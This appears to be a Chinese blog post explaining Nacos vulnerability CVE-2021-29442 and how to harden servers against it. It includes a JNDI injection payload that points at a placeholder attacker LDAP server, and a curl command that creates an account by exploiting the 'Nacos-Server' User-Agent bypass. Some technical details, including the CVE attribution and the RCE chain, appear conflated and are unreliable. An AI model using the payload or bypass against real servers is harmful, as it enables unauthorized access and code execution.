CVE-2021-29442 是 Nacos 中一个认证绕过 + 远程代码执行(RCE)的高危漏洞,主要影响 Nacos 1.4.1 及以下版本,漏洞的核心原因是:
- Nacos 默认的鉴权实现存在逻辑缺陷,攻击者可以通过构造特殊的 HTTP 请求头绕过身份认证;
- 结合 Nacos 的配置管理功能,攻击者可上传恶意配置文件,最终实现远程代码执行,控制服务器。
- 受影响版本:Nacos 0.2.0 ~ 1.4.1
- 不受影响版本:Nacos 1.4.2 及以上、2.0.0 及以上(官方已修复)
- 漏洞触发条件:Nacos 开启了鉴权功能(
nacos.core.auth.enabled=true),但未正确配置自定义密钥(默认密钥可被利用)。
- 认证绕过:Nacos 的鉴权逻辑依赖
User-Agent等请求头验证,攻击者构造包含Nacos-Server的User-Agent即可绕过认证; - 配置注入:绕过认证后,攻击者通过 Nacos 的配置发布接口上传包含恶意脚本的配置(如
${jndi:ldap://攻击者服务器/恶意类}); - 代码执行:当客户端拉取该恶意配置时,触发 JNDI 注入,执行攻击者预设的恶意代码。
- 1.x 版本升级至1.4.2及以上;
- 2.x 版本使用2.0.0及以上(2.x 架构重构,从根本上修复了该漏洞)。
- 修改默认密钥:在
nacos/conf/application.properties中配置自定义的鉴权密钥,避免使用默认值:
E:\Document_Nacos\nacos-server-1.4.5\nacos\conf
# 开启鉴权
nacos.core.auth.enabled=true
# 配置自定义密钥(必须修改,随机字符串)
nacos.core.auth.plugin.nacos.token.secret.key=自定义的32位以上随机字符串
# 关闭 User-Agent 白名单(关键)
nacos.core.auth.enable.userAgentAuthWhite=false
測試:
curl -X POST "http://nacos服务器IP:8848/nacos/v1/auth/users?username=test&password=test" \ -H "User-Agent: Nacos-Server" \ -H "Content-Type: application/x-www-form-urlencoded"
- CVE-2021-29442 是 Nacos 1.4.1 及以下版本的高危 RCE 漏洞,核心是认证绕过 + JNDI 注入;
- 最根本的修复方式是升级 Nacos 到 1.4.2/2.0.0 及以上版本;
- 临时防护需修改鉴权密钥、关闭 User-Agent 白名单,并做好网络隔离,禁止 Nacos 端口公网暴露
最早之前的springcloud,是用的Eureka的,后来某里发展出来的,一堆的抄着用。
nacos
其他开源国内git项目漏洞,这些都是等保过不去的,都是会被测试工具扫描出来,要通报批评的
kkFileView SSRF